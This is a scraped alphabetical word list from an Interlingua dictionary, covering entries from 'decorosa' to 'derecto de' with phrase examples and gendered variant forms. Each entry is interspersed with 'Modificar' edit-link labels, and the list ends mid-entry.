decorosa(s) decorticarModificar decorticar amandolasModificar decorticar cacahuetesModificar decorticar crangonesModificar decorticateModificar decorticato(s) \/ decorticata(s) decorticationModificar decortication de crangonesModificar decorumModificar decorum del CorteModificar decorum de la Corte decorum regalModificar decorum royalModificar decrementoModificar decremento logarithmicModificar decremento logarithmico decrepitarModificar decrepitationModificar decrepiteModificar decrepito(s) \/ decrepita(s) decrepitudeModificar decrescendo [I]Modificar decrescentiaModificar decrescentia del febreModificar decrescentia de la febre decrescerModificar decrescimentoModificar decrescimento del natalitateModificar decrescimento de la natalitate decretalModificar decretal [le decretalistaModificar decretalista [le \/ la decretarModificar decretar un interdiction de sortirModificar decretar una interdiction de sortir decretar un legeModificar decretar una lege decretar un prohibition de sortirModificar decretar una prohibition de sortir decretoModificar decreto abolitiveModificar decreto abolitivo decreto contrasignate per un ministroModificar decreto contrasignato per un ministro decreto de economisationModificar decreto de economization decreto de emergentiaModificar decreto ecclesiasticModificar decreto ecclesiastico decreto imperialModificar decreto ministerialModificar decreto municipalModificar decreto presidentialModificar decreto regalModificar decreto royalModificar decreto super le durata de conductaModificar decreto super la durata de conducta decreto super le duration de conductaModificar decreto super la duration de conducta decretoriModificar decretorio(s) \/ decretoria(s) decticoModificar dectico verrucivoreModificar decubitoModificar decubito dorsalModificar decubito lateralModificar decubito ventralModificar decumbenteModificar decumbente(s) decuplarModificar decupleModificar decuplo(s) \/ decupla(s) decuplicarModificar decuploModificar decuriaModificar decurioModificar decurrenteModificar decurrente(s) decurrentipetaleModificar decurrentipetalo(s) \/ decurrentipetala(s) decussarModificar decussateModificar decussato(s) \/ decussata(s) decussationModificar dedaloModificar dedalo inextricabile de camminosModificar dedalo inextricabile de viasModificar dedicarModificar dedicar attention aModificar dedicar multe attention a un cosaModificar dedicar multa attention a una cosa dedicar se aModificar dedicar se a un arteModificar dedicar se a una arte dedicar se al agriculturaModificar dedicar se a la agricultura dedicar se al musasModificar dedicar se a las musas dedicar un ecclesia al Sancte VirgineModificar dedicar una ecclesia a la Sancta Virgine dedicar un libro a un personaModificar dedicar un libro a una persona dedicar un pensamento a un personaModificar dedicar un pensamento a una persona dedicar un pensata a un personaModificar dedicar una pensata a una persona dedicar un poema a un personaModificar dedicar un poema a una persona dedicatarioModificar dedicateModificar dedicato(s) \/ dedicata(s) dedicate al imperatorModificar [dedicato(s) \/ dedicata(s)] al imperator dedicationModificar dedication de un ecclesiaModificar dedication de una ecclesia dedication de un temploModificar dedicatorModificar dedicatoriModificar dedicatorio(s) \/ dedicatoria(s) deducerModificar deducer le senso de un parola per le contextoModificar deducer le senso de una parola per le contexto deducibile \/ deductibileModificar deducibile(s) \/ deductibile(s) deductibilitateModificar deductibilitate de costosModificar deductionModificar deduction de dividendoModificar deduction de interesseModificar deduction erroneeModificar deduction erronea deduction fiscalModificar deductiveModificar deductivo(s) \/ deductiva(s) defaite [F]Modificar defaitismoModificar defaitistaModificar defalcarModificar defalcationModificar defecarModificar defecationModificar defecatorModificar defectibileModificar defectibile(s) defectibilitateModificar defectionModificar defectiveModificar defectivo(s) \/ defectiva(s) defectoModificar defecto auditiveModificar defecto auditivo defecto corporalModificar defecto corporeeModificar defecto corporeo defecto de assemblageModificar defecto de constructionModificar defecto de fabricaModificar defecto de fabricationModificar defecto de formaModificar defecto de frenageModificar defecto de machinaModificar defecto de montageModificar defecto de proportionModificar defecto de stiloModificar defecto del corporeModificar defecto latenteModificar defecto occulteModificar defecto occulto defecto physicModificar defecto physico defecto physic congenitalModificar defecto physico congenital defecto physic del corporeModificar defecto physico del corpore defecto principalModificar defecto stilisticModificar defecto stilistico defectos apparenteModificar defectos apparentes defectuoseModificar defectuoso(s) \/ defectuosa(s) defectuositateModificar defenderModificar defender a ultrantiaModificar defender con pertinacia su ideasModificar defender con pertinacia sus ideas defender le interesses de un personaModificar defender los interesses de una persona defender le laicitate del scholaModificar defender la laicitate de la schola defender le patriaModificar defender la patria defender le tituloModificar defender se con vigorModificar defender se contra le somnoModificar defender su interessesModificar defender sus interesses defender un opinionModificar defender una opinion defender un theoriaModificar defender una theoria defender un theseModificar defender una these defendibileModificar defendibile(s) defendibilitateModificar defenditorModificar defenditor del opprimitosModificar defenditor de los opprimitos defenestrarModificar defenestrationModificar defensaModificar defensa ambientalModificar defensa antiaereeModificar defensa antiaerea defensa antiatomicModificar defensa antiatomica defensa antimissileModificar defensa antitankModificar defensa contra avionesModificar defensa costariModificar defensa costaria defensa de un elephanteModificar defensa de zonaModificar defensa del ambiente (ecologic)Modificar defensa del ambiente (ecologico) defensa del costasModificar defensa de las costas defensa del flancosModificar defensa de los flancos defensa del litoralModificar defensa ecologicModificar defensa ecologica defensa elasticModificar defensa elastica defensa inexpugnabileModificar defensa legitime putativeModificar defensa legitima putativa defensa litoralModificar defensa nationalModificar defensa territorialModificar defensa zonalModificar defensibileModificar defensibile(s) defensivaModificar defensiveModificar defensivo(s) \/ defensiva(s) defensorModificar deferenteModificar deferente(s) deferentiaModificar defererModificar deferer aModificar deferer al desiderio de un personaModificar deferer al desiderio de una persona deferer al desiro de un personaModificar deferer al desiro de una persona deferer un furtoModificar deferer un robamentoModificar defiaModificar defiantiaModificar defiarModificar defiar le elementosModificar defiar los elementos defiar le morteModificar defiar la morte defiar le periculoModificar defiar le sorteModificar defiar la sorte defiar un persona a un duelloModificar defiar una persona a un duello defibrillarModificar defibrillationModificar defibrillatorModificar deficienteModificar deficiente(s) deficientiaModificar deficientia de vitaminasModificar deficientia mentalModificar deficientia nutritiveModificar deficientia nutritiva deficientia organicModificar deficientia organica deficientia vitaminicModificar deficientia vitaminica deficitModificar deficit budgetariModificar deficit budgetario deficit commercialModificar deficit de cassaModificar deficit de financiamentoModificar deficit de neutronesModificar deficit del budgetModificar deficitariModificar deficitario(s) \/ deficitaria(s) defilarModificar defilataModificar defilata de mannequinsModificar defilata de modellosModificar defilata de protestationModificar defilata de protestoModificar defilata fastuoseModificar defilata fastuosa defilata magnificenteModificar defilata protestatariModificar defilata protestataria definibileModificar definibile(s) definibilitateModificar definiendumModificar definirModificar definir su position de vistaModificar definir su puncto de vistaModificar definir un politicaModificar definir una politica definir un strategiaModificar definir una strategia definiteModificar definito(s) \/ definita(s) definitionModificar definition expliciteModificar definition explicita definition extensibileModificar definition genericModificar definition generica definition incompleteModificar definition incompleta definition non-constructiveModificar definition non-constructiva definition per enumerationModificar definitiveModificar definitivo(s) \/ definitiva(s) definitivitateModificar definitivitate de un decisionModificar definitivitate de una decision definitorModificar defiscalisarModificar defiscalizar defiscalisationModificar defiscalization deflagrarModificar deflagrationModificar deflagration de pulvereModificar deflagratorModificar deflarModificar deflationModificar deflation del preciosModificar deflation de los precios deflationistaModificar deflecterModificar deflectiveModificar deflectivo(s) \/ deflectiva(s) deflectorModificar deflexionModificar deflexion del agulia del bussolaModificar deflexion de la agulia de la bussola deflexion del agulia del compassoModificar deflexion de la agulia del compasso deflexion del radios luminoseModificar deflexion de los radios luminosos deflexion electrostaticModificar deflexion electrostatica deflorarModificar deflorationModificar defluenteModificar defluente(s) defluerModificar defluxoModificar defolianteModificar defoliante adj, sub defoliarModificar deforestarModificar deforestar un collinaModificar deforestar una collina deforestationModificar deforestation de un collinaModificar deforestation de una collina deformabileModificar deformabile(s) deformabilitateModificar deformarModificar deformar le signification de un parolaModificar deformar la signification de una parola deformar le significato de un parolaModificar deformar le significato de una parola deformationModificar deformation cranianModificar deformation craniana deformation de flexionModificar deformation de torsionModificar deformation del cranioModificar deformation del fundationModificar deformation de la fundation deformation del gustoModificar deformation elasticModificar deformation elastica deformation irreversibileModificar deformation plasticModificar deformation plastica deformation professionalModificar deformation torsionalModificar deformation volumetricModificar deformation volumetrica deformationes tectonicModificar deformationes tectonicas deformeModificar deforme(s) deformitateModificar defraudarModificar defraudar le fiscoModificar defraudar un persona de su monetaModificar defraudar una persona de su moneta defraudationModificar defraudation del fiscoModificar defraudation fiscalModificar defraudatorModificar defraudator del fiscoModificar defraudator fiscalModificar defuncteModificar defuncto(s) \/ defuncta(s) defunctoModificar degasamentoModificar degasarModificar degenerarModificar degenerateModificar degenerato(s) \/ degenerata(s) degenerationModificar degeneration consanguineeModificar degeneration consanguinea degeneration de familiasModificar degeneration de organosModificar degenerativeModificar degenerativo(s) \/ degenerativa(s) degenerentia mentalModificar degenerescentiaModificar degenerescentia calcariModificar degenerescentia calcaria degenerescentia consanguineeModificar degenerescentia consanguinea degenerescentia de un specie animalModificar degenerescentia de una specie animal degenerescentia mentalModificar degenerescentia vacuolarModificar deglaciationModificar deglutinationModificar deglutirModificar deglutitionModificar degradabileModificar degradabile(s) degradabilitateModificar degradanteModificar degradante(s) degradarModificar degradationModificar degradation ambientalModificar degradation de energiaModificar degradation del ambiente (ecologic)Modificar degradation del ambiente (ecologico) degradation del situation internationalModificar degradation de la situation international degustarModificar degustationModificar degustation de vinoModificar degustatorModificar deguttarModificar deguttatorioModificar dehierarchisarModificar dehierarchizar dehierarchisationModificar dehierarchization dehiscenteModificar dehiscente(s) dehiscentiaModificar dehiscentia longitudinalModificar dehiscentia valvarModificar dehiscerModificar dehumanisarModificar dehumanizar dehumanisationModificar dehumanization deicidaModificar deicidioModificar deicticModificar deictico(s) \/ deictica(s) deificModificar deifico(s) \/ deifica(s) deificarModificar deificationModificar deification del imperatores romanModificar deification de los imperatores romanos deiformeModificar deiforme(s) deindeModificar deinde adv deionisarModificar deionizar deismoModificar deistaModificar deisticModificar deistico(s) \/ deistica(s) deitateModificar deitate fluvialModificar deitate tutelarModificar deitates grecModificar deitates grecas dejectionModificar dejectionesModificar del altere parteModificar de la altera parte del anteguerraModificar del capite al pedesModificar de la capite a los pedes del color de butyroModificar del \/ de_la color de butyro del horas de travalioModificar de las horas de travalio del mano al manoModificar de la mano a la mano del mesme manieraModificar de la mesma maniera del negritosModificar de los negritos del prime al ultimeModificar del primo al ultimo del principioModificar del restoModificar del testa al pedesModificar de la testa a los pedes delabialisarModificar delabializar delabialisationModificar delabialization delaminarModificar delaminationModificar delatarModificar delationModificar delatorModificar dele [L]Modificar delectabileModificar delectabile(s) delectabilitateModificar delectarModificar delectar se inModificar delectationModificar delectoModificar delectos del amorModificar delegarModificar delegationModificar delegation de negotiatoresModificar delegatoModificar delegato apostolicModificar delegato apostolico delerModificar deleterieModificar deleterio(s) \/ deleteria(s) deletionModificar deliberarModificar deliberar superModificar deliberateModificar deliberato(s) \/ deliberata(s) deliberationModificar deliberationes de un assembleaModificar deliberationes de una assemblea deliberativeModificar deliberativo(s) \/ deliberativa(s) deliberatorModificar delibileModificar delibile(s) delicateModificar delicato(s) \/ delicata(s) delicatessaModificar delicatessa de un plattoModificar delicatessa del pelleModificar delicatessa de la pelle deliciaModificar delicioseModificar delicioso(s) \/ deliciosa(s) delictoModificar delicto civilModificar delicto de chassaModificar delicto de circulationModificar delicto de lese majestateModificar delicto de lesa majestate delicto de omissionModificar delicto de pressaModificar delicto de trafficoModificar delicto del circulationModificar delicto de la circulation delicto economicModificar delicto economico delicto execrabileModificar delicto impuniteModificar delicto impunito delicto intentionalModificar delicto penalModificar delicto politicModificar delicto politico delicto prescripteModificar delicto prescripto delictuoseModificar delictuoso(s) \/ delictuosa(s) delignificarModificar delignificationModificar delimitarModificar delimitar le competentiasModificar delimitar las competentias delimitar le competentias de un commissionModificar delimitar las competentias de una commission delimitar le frontieras inter duo statosModificar delimitar las frontieras inter duos statos delimitar le percurso de marathonModificar delimitar un campo de investigationModificar delimitar un percursoModificar delimitar un terrenoModificar delimitationModificar delimitation de un territorioModificar delineamentoModificar delinearModificar delineationModificar delineatorModificar delinquenteModificar delinquente adj, sub delinquente de professionModificar delinquente habitualModificar delinquente juvenilModificar delinquente professionalModificar delinquentes psychopathicModificar delinquentes psychopathicos delinquentiaModificar delinquentia de juvenesModificar delinquentia de minoresModificar delinquentia juvenilModificar delinquerModificar deliquescenteModificar deliqüescente(s) deliquescentiaModificar deliquescerModificar deliranteModificar delirante(s) delirarModificar delirioModificar delirio alcoholicModificar delirio alcoholico delirio collectiveModificar delirio collectivo delirio de grandorModificar delirio de persecutionModificar delirio erotomaneModificar delirio erotomaniacModificar delirio erotomaniaco delirio persecutorModificar delirio religioseModificar delirio religioso delirium tremens [NL]Modificar delitescenteModificar delitescente(s) delitescentiaModificar delitterarModificar delitterationModificar delivra nos del mal!Modificar delivrantiaModificar delivrarModificar delivrar un persona de un maladiaModificar delivrar una persona de una maladia delivrar un prisioneroModificar delphicModificar delphico(s) \/ delphica(s) delphinarioModificar DelphinatoModificar delphininaModificar delphinioModificar delphinio grandiflorModificar delphinoModificar deltaModificar delta [la delta de marModificar delta de rivieraModificar delta del NiloModificar delta del PoModificar delta del RhenoModificar delta del Rheno delta formate per le alluviones de un fluvioModificar delta formata per los alluviones de un fluvio deltaicModificar deltaico(s) \/ deltaica(s) deltaplanistaModificar deltaplanoModificar deltationModificar deltoideModificar deltoide adj, sub deltoideeModificar deltoideo(s) \/ deltoidea(s) deluderModificar deludimentoModificar delusionModificar delusoriModificar delusorio(s) \/ delusoria(s) delustrarModificar delustrar stoffasModificar demagnetisarModificar demagnetizar demagnetisationModificar demagnetization demagogeriaModificar demagogiaModificar demagogicModificar demagogico(s) \/ demagogica(s) demagogismoModificar demagogoModificar demanModificar deman adv deman in le matinoModificar deman in le vesperaModificar deman in la vespera deman in le vespereModificar deman matinoModificar deman vesperaModificar deman vespereModificar demandaModificar demanda deModificar demanda de capitalModificar demanda de concessionModificar demanda de creditoModificar demanda de extraditionModificar demanda de gratiaModificar demanda insidioseModificar demanda insidiosa demanda interiorModificar demanda reconventionalModificar demandarModificar demandar asyloModificar demandar consilioModificar demandar (le) gratiaModificar demandar (la) gratia demandar le appoio de un personaModificar demandar le appoio de una persona demandar le impossibileModificar demandar le \/ lo impossibile demandar le mano de (un persona)Modificar demandar la mano de (una persona) demandar le nomineModificar demandar le parolaModificar demandar la parola demandar le ration de un insultoModificar demandar la ration de un insulto demandar un audientia a un personaModificar demandar una audientia a una persona demandas enoioseModificar demandas enoiosas demandatorModificar demaoisationModificar demarcarModificar demarcationModificar demarcation del terrenosModificar demarcation de los terrenos demarcation netteModificar demarcation netta demarcation physiographicModificar demarcation physiographica demarcativeModificar demarcativo(s) \/ demarcativa(s) demasticarModificar dematerialisarModificar dematerializar dematerialisationModificar dematerialization dementarModificar dementeModificar demente(s) dementiaModificar dementia paranoideModificar dementia precoceModificar dementia senilModificar dementialModificar demential(es) demeritarModificar demeritoModificar demeritoriModificar demeritorio(s) \/ demeritoria(s) demineralisarModificar demineralizar demineralisationModificar demineralization demineralisatorModificar demineralizator demiurgoModificar demoModificar demobilisabileModificar demobilizabile(s) demobilisarModificar demobilizar demobilisar truppasModificar demobilizar truppas demobilisationModificar demobilization democrateModificar democrate [le \/ la democratiaModificar democratia parlamentariModificar democratia parlamentaria democratia popularModificar democratias occidentalModificar democratias occidentales democraticModificar democratico(s) \/ democratica(s) democraticitateModificar democraticitate de un systema politicModificar democraticitate de un systema politico democratisarModificar democratizar democratisar le systema politicModificar democratizar le systema politico democratisar un paisModificar democratizar un pais democratisationModificar democratization democratisation del vita politicModificar democratization de la vita politica demodexModificar demodex [le demodulametroModificar demodularModificar demodulationModificar demodulatorModificar demographiaModificar demographia de MalthusModificar demographicModificar demographico(s) \/ demographica(s) demographoModificar demolirModificar demolir le autoritate de un personaModificar demolir la autoritate de una persona demolir le sanitate de un personaModificar demolir la sanitate de una persona demolir un auto \/ automobileModificar demolir un concurrenteModificar demolir un(a) concurrente demolir un doctrinaModificar demolir una doctrina demolir un edificioModificar demolir un muroModificar demolir un radioModificar demolir un systemaModificar demolitionModificar demolition de un ponteModificar demolition de un(a) ponte demolitorModificar demolitor de automobiles \/ autosModificar demolitor de navesModificar demologiaModificar demologicModificar demologico(s) \/ demologica(s) demologoModificar demoneModificar demone [le demone de misimpressionModificar demone del jocoModificar demone del zelosiaModificar demone de la zelosia demoniacModificar demoniaco(s) \/ demoniaca(s) demoniacoModificar demonioModificar demonio del jocoModificar demonio del vanitateModificar demonio de la vanitate demonio in figura humanModificar demonio in figura humana demonio incarnateModificar demonio incarnato demonio nocturneModificar demonio nocturno demonismoModificar demonolatraModificar demonolatriaModificar demonologiaModificar demonologicModificar demonologico(s) \/ demonologica(s) demonologistaModificar demonologoModificar demonomaniaModificar demonstrabileModificar demonstrabile(s) demonstrabilitateModificar demonstrabilitate de un theoremaModificar demonstrarModificar demonstrar historicamente un cosaModificar demonstrar historicamente una cosa demonstrar inconfutabilemente su innocentiaModificar demonstrar interesse proModificar demonstrar le falsitate de un accusationModificar demonstrar la falsitate de una accusation demonstrar le veracitate de un cosaModificar demonstrar la veracitate de una cosa demonstrar patientiaModificar demonstrar su affectionModificar demonstrar un evidentiaModificar demonstrar una evidentia demonstrar un theoremaModificar demonstrationModificar demonstration de confidentiaModificar demonstration de exoperantesModificar demonstration de fortiaModificar demonstration de gratitudeModificar demonstration de poterModificar demonstration de protestoModificar demonstration de sympathiaModificar demonstration guerrierModificar demonstration guerriera demonstration ostentatiose de poterModificar demonstration ostentatiosa de poter demonstration per le absurdoModificar demonstration politicModificar demonstration politica demonstration sportiveModificar demonstration sportiva demonstrationes de amicitateModificar demonstrativeModificar demonstrativo(s) \/ demonstrativa(s) demonstratorModificar demonstrator de articulos de uso domesticModificar demonstrator de articulos de uso domestico demonstratriceModificar demonstratrice de productos de beltateModificar demoraModificar demorarModificar demoscopiaModificar demoscopicModificar demoscopico(s) \/ demoscopica(s) demoticModificar demotico(s) \/ demotica(s) demotivarModificar demotorisarModificar demotorizar demotorisationModificar demotorization demystificarModificar demystificationModificar demythificarModificar demythificationModificar demythologisarModificar demythologizar demythologisationModificar demythologization denarioModificar denasalisarModificar denasalizar denasalisationModificar denasalization denatalitateModificar denaturalisarModificar denaturalizar denaturalisationModificar denaturalization denaturarModificar denaturationModificar denaturation de alcoholModificar dendriformeModificar dendriforme(s) dendriteModificar dendrite [la dendriticModificar dendritico(s) \/ dendritica(s) dendrochronologiaModificar dendrochronologicModificar dendrochronologico(s) \/ dendrochronologica(s) dendrochronologistaModificar dendrographiaModificar dendrographicModificar dendrographico(s) \/ dendrographica(s) dendrographoModificar dendroideModificar dendroide(s) adj dendrolago ursinModificar dendrolago ursino dendrolatri<\/u>aModificar dendrolithoModificar dendrologiaModificar dendrologicModificar dendrologico(s) \/ dendrologica(s) dendrologoModificar dendrometriaModificar dendrometricModificar dendrometrico(s) \/ dendrometrica(s) dendrometroModificar dendromorpheModificar dendromorpho(s) \/ dendromorpha(s) denegabileModificar denegabile(s) denegarModificar denegar a un persona le derecto deModificar denegar a una persona le derecto de denegar le existentia de DeoModificar denegar la existentia de Deo denegar le paternitateModificar denegar la paternitate denegar su responsabilitateModificar denegationModificar denegation de paternitateModificar dengueModificar dengue [le denigrarModificar denigrar le reputation de un personaModificar denigrar la reputation de una persona denigrationModificar denigratorModificar denigratoriModificar denigratorio(s) \/ denigratoria(s) denimModificar denim [le denitrificarModificar denitrificationModificar denivellamentoModificar denivellarModificar denivellationModificar denominalModificar denominal(es) denominarModificar denominationModificar denominativeModificar denominativo(s) \/ denominativa(s) denominatorModificar denominator communModificar denotarModificar denotationModificar denotativeModificar denotativo(s) \/ denotativa(s) denseModificar denso(s) \/ densa(s) densificarModificar densificationModificar densiflorModificar densiflor(es) densifolieModificar densifolio(s) \/ densifolia(s) densigrammaModificar densimetriaModificar densimetricModificar densimetrico(s) \/ densimetrica(s) densimetroModificar densitateModificar densitate de (un) gasModificar densitate de neutron esModificar densitate de un liquidoModificar densitate del circulationModificar densitate de la circulation densitate del populationModificar densitate de la population densitate del trafficoModificar densitate demographicModificar densitate demographica densitate gasoseModificar densitate gasosa densitate massicModificar densitate massica densitate opticModificar densitate optica densitate photographicModificar densitate photographica densitometriaModificar densitometricModificar densitometrico(s) \/ densitometrica(s) densitometroModificar dentalModificar dental(es) dentalgiaModificar dentarModificar dentar vb dentariModificar dentario(s) \/ dentaria(s) dentariaModificar dentaria [la dentateModificar dentato(s) \/ dentata(s) dentationModificar dentaturaModificar dentatura artificialModificar dentatura brillanteModificar dentatura completeModificar dentatura completa dentatura de lacteModificar dentatura de predatorModificar dentatura inferiorModificar dentatura intacteModificar dentatura intacta dentatura irregularModificar dentatura posticieModificar dentatura posticia dentatura regularModificar dentatura superiorModificar denteModificar dente a tenonModificar dente a venenoModificar dente angularModificar dente artificialModificar dente bicuspideModificar dente caninModificar dente canino dente cariateModificar dente cariato dente carioseModificar dente carioso dente de avanteModificar dente de crocodiloModificar dente de draconModificar dente de lacteModificar dente de lacte posteriorModificar dente de leonModificar dente de morsaModificar dente de squaloModificar dente de un folioModificar dente de un pectineModificar dente de un rastrelloModificar dente de un rotaModificar dente de una rota dente de un serraModificar dente de una serra dente embryonalModificar dente falseModificar dente falso dente incisiveModificar dente incisivo dente inferiorModificar dente laxeModificar dente laxo dente maladeModificar dente malade \/ malado dente molarModificar dente permanenteModificar dente posticieModificar dente posticio dente superiorModificar dente venenoseModificar dente venenoso dentellaModificar dentella delicateModificar dentella delicata dentellarModificar dentellar vb dentellateModificar dentellato(s) \/ dentellata(s) dentelleraModificar dentelleriaModificar dentelleroModificar dentes de avanteModificar dentes posticieModificar dentes posticios denticulateModificar denticulato(s) \/ denticulata(s) denticuloModificar dentiformeModificar dentiforme(s) dentifricioModificar dentifricio anticarieModificar dentilingual \/ dentolingualModificar dentilingual(es) \/ dentolingual(es) dentimetroModificar dentinaModificar dentirostreModificar dentirostro(s) \/ dentirostra(s) dentirostrosModificar dentistaModificar dentista scholarModificar dentisteriaModificar dentitionModificar dentition de lacteModificar denuclearisarModificar denuclearizar denuclearisationModificar denuclearization denudarModificar denudar un filoModificar denudar un terrenoModificar denudationModificar denudation chimicModificar denudation chimica denudation pluvialModificar denunciarModificar denunciar le fur al policiaModificar denunciar le fur a la policia denunciar le robamento al policiaModificar denunciar le robamento a la policia denunciar seModificar denunciar un abusoModificar denunciar un furModificar denunciar un malfactor al policiaModificar denunciar un malfactor a la policia denunciar un robamentoModificar denunciar un robatorModificar denunciar un tractatoModificar denunciar un treguaModificar denunciar una tregua denunciationModificar denunciation calumnioseModificar denunciation calumniosa denunciation de un tractatoModificar denunciation de un treguaModificar denunciation de una tregua denunciativeModificar denunciativo(s) \/ denunciativa(s) denunciatorModificar denunciatoriModificar denunciatorio(s) \/ denunciatoria(s) denutrirModificar denutritionModificar DeoModificar deoModificar Deo creava le celo e le terraModificar Deo creavit le celo e \/ et la terra deo del guerraModificar deo de la guerra deo del marModificar deo del \/ de_la mar deo del solModificar Deo diceva -- sia le lumine!Modificar Deo dicevit -- sia la lumine! Deo es incorporalModificar Deo est incorporal Deo es omnipresenteModificar Deo est omnipresente Deo formava le homine del limo del terraModificar Deo formavit le homine del limo de la terra Deo insufflava le vita a AdamModificar Deo insufflavit la vita a Adam deo marinModificar deo marino deo principalModificar deo supremeModificar deo supremo deo tribalModificar Deo volente [L]Modificar deontologiaModificar deontologia medic \/ medicalModificar deontologia medica \/ medical deontologicModificar deontologico(s) \/ deontologica(s) deontologistaModificar deontologoModificar deos olympieModificar deos olympios departimentalModificar departimental(es) departimentoModificar departimento de fabricationModificar departimento de radiographiaModificar departimento de transportosModificar departimento de venditasModificar Departimento del Affaires EstranierModificar Departimento de los Affaires Estranieros Departimento del AgriculturaModificar Departimento de la Agricultura Departimento del CommercioModificar Departimento del DefensaModificar Departimento de la Defensa Departimento del Education (National)Modificar Departimento de la Education (National) departimento del expeditionesModificar departimento de las expeditiones departimento del facturationModificar departimento de la facturation Departimento del FinanciasModificar Departimento de las Financias Departimento del GuerraModificar Departimento de la Guerra Departimento del Instruction PublicModificar Departimento de la Instruction Publica Departimento del InteriorModificar Departimento del JustitiaModificar Departimento de la Justitia Departimento del LaborModificar departimento del lingerieModificar departimento de la lingerie Departimento del MarinaModificar Departimento de la Marina Departimento del Obras PublicModificar Departimento de las Obras Publicas Departimento del SanitateModificar Departimento de la Sanitate departimento del venditasModificar departimento de las venditas departimento ministerialModificar departirModificar depauperarModificar depauperationModificar depeche [F]Modificar depeche cifrateModificar depeche cifrata depenalisarModificar depenalizar depenalisationModificar depenalization dependenteModificar dependente(s) dependentiaModificar dependentias de un hotelModificar dependentias de un scholaModificar dependentias de una schola dependerModificar deperimentoModificar deperimento de un industriaModificar deperimento de una industria deperimento physicModificar deperimento physico deperirModificar depersonalisarModificar depersonalizar depersonalisationModificar depersonalization dephlegmationModificar dephlegmatorModificar dephosphorarModificar dephosphorationModificar depictionModificar depigmentationModificar depilarModificar depilar le axillasModificar depilar las axillas depilationModificar depilatoriModificar depilatorio(s) \/ depilatoria(s) depilatorioModificar depingerModificar depinger un character schematicamenteModificar deplerModificar depletionModificar depletiveModificar depletivo(s) \/ depletiva(s) deplorabileModificar deplorabile(s) deplorarModificar deplorar le perdita deModificar deplorar la perdita de deplorar un eventoModificar deplorationModificar deploration depoisModificar depois adv depois queModificar depolarisarModificar depolarizar depolarisationModificar depolarization depolarisatorModificar depolarizator depolitisarModificar depolitizar depolitisationModificar depolitization depolymerisarModificar depolymerizar depolymerisationModificar depolymerization deponenteModificar deponente(s) adj deponerModificar deponer actiones al bancaModificar deponer actiones a la banca deponer le armasModificar deponer las armas deponer pro inspectionModificar deponer su choleraModificar deponer su mandatoModificar deponer un cargaModificar deponer una carga deponer un cautionModificar deponer una caution deponer un coronaModificar deponer una corona depopularModificar depopular vb depopulationModificar deportarModificar deportationModificar deportation a SiberiaModificar deportation in massaModificar deportatoModificar depositanteModificar depositante [le \/ la depositarModificar depositar in le secretariato judicialModificar depositarioModificar depositateModificar depositato(s) \/ depositata(s) depositionModificar deposition adiposeModificar deposition adiposa deposition de un coronaModificar deposition de una corona deposition del cruceModificar deposition de la cruce depositoModificar deposito a termino (fixe)Modificar deposito a termino (fixo) deposito adiposeModificar deposito adiposo deposito alluvialModificar deposito bancariModificar deposito bancario deposito biogeneticModificar deposito biogenetico deposito calcariModificar deposito calcario deposito carbonoseModificar deposito carbonoso deposito cautionalModificar deposito centralModificar deposito de archivosModificar deposito de armasModificar deposito de bagagesModificar deposito de benzinaModificar deposito de bicyclettasModificar deposito de cadaveresModificar deposito de caffeModificar deposito de carbonModificar deposito de casserolaModificar deposito de fuligineModificar deposito de gasolinaModificar deposito de immunditiasModificar deposito de lignoModificar deposito de limoModificar deposito de mercantiasModificar deposito de mercesModificar deposito de mobilesModificar deposito de munition(es)Modificar deposito de oleoModificar deposito de remontaModificar deposito de salModificar deposito de sparnioModificar deposito de turfaModificar deposito de vestimentosModificar deposito de vinoModificar deposito eolicModificar deposito eolico deposito fluviatileModificar deposito frigorifereModificar deposito frigorifero deposito frigorificModificar deposito frigorifico deposito glacial \/ glaciariModificar deposito glacial \/ glaciario deposito mortuariModificar deposito mortuario deposito salinModificar deposito salino deposito stratificateModificar deposito stratificato deposito terrigeneModificar deposito terrigeno depositos litoralModificar depositos litorales depositos terrigeneModificar depositos terrigenos depostModificar depost adv, prep depost queModificar depost un tempore immemorialModificar depravarModificar depravar le gustoModificar depravar le moresModificar depravar los mores depravar un adolescenteModificar depravateModificar depravato(s) \/ depravata(s) depravationModificar depravation del gustoModificar depravation del moresModificar depravation de los mores depravation sexualModificar depravatoModificar depravatorModificar deprecarModificar deprecationModificar deprecativeModificar deprecativo(s) \/ deprecativa(s) deprecatorModificar deprecatoriModificar deprecatorio(s) \/ deprecatoria(s) depreciarModificar depreciar le obra de un confratreModificar depreciar la obra de un confratre depreciar un laborModificar depreciationModificar depreciativeModificar depreciativo(s) \/ depreciativa(s) depreciatorModificar depreciatoriModificar depreciatorio(s) \/ depreciatoria(s) depredarModificar depredationModificar depredatorModificar depredatoriModificar depredatorio(s) \/ depredatoria(s) depresseModificar depresso(s) \/ depressa(s) depressionModificar depression de falliaModificar depression del annos trentaModificar depression de los annos trenta depression del horizonteModificar depression del terrenoModificar depression economic prolongateModificar depression economica prolongata depression karsticModificar depression karstica depression nervoseModificar depression nervosa depression oceanicModificar depression oceanica depression postnatalModificar depression psychoticModificar depression psychotica depression tempestuoseModificar depression tempestuosa depressionariModificar depressionario(s) \/ depressionaria(s) depressiones psychopathicModificar depressiones psychopathicas depressiveModificar depressivo(s) \/ depressiva(s) depressorModificar depressor lingualModificar depressurisarModificar depressurizar depressurisationModificar depressurization deprimenteModificar deprimente(s) deprimerModificar depurarModificar depurar le aquaModificar depurar la aqua depurationModificar depuration del aquaModificar depuration de la aqua depuration del sanguineModificar depurativeModificar depurativo(s) \/ depurativa(s) depurativoModificar depurativo del sanguineModificar deputarModificar deputar representantes a un assembleaModificar deputar representantes a una assemblea deputationModificar deputatoModificar dequalificarModificar dequalificationModificar derailamentoModificar derailamento de un trainoModificar derailarModificar derailleur [F]Modificar derailleur de dece velocitatesModificar deramarModificar deramar seModificar derapageModificar derapage in aquaModificar derapage super aquaModificar deraparModificar derapataModificar derattisarModificar derattizar derattisar con medios biologicModificar derattizar con medios biologicos derattisationModificar derattization derattisation de un naveModificar derattization de una nave DerbyModificar derbyModificar derectaModificar derecta [la derecteModificar derecto(s) \/ derecta(s) derectoModificar derecto aboliteModificar derecto abolito derecto administrativeModificar derecto administrativo derecto al existentiaModificar derecto a la existentia derecto al vetoModificar derecto budgetariModificar derecto budgetario derecto cambialModificar derecto canonicModificar derecto canonico derecto civilModificar derecto commercialModificar derecto communalModificar derecto constitutionalModificar derecto consuetudinariModificar derecto consuetudinario derecto consultativeModificar derecto consultativo derecto corporativeModificar derecto corporativo derecto costumariModificar derecto costumario derecto criminalModificar derecto de angariaModificar derecto de appropriationModificar derecto de associationModificar derecto de asyloModificar derecto de autodeterminationModificar derecto de autorModificar derecto de cancellationModificar derecto de 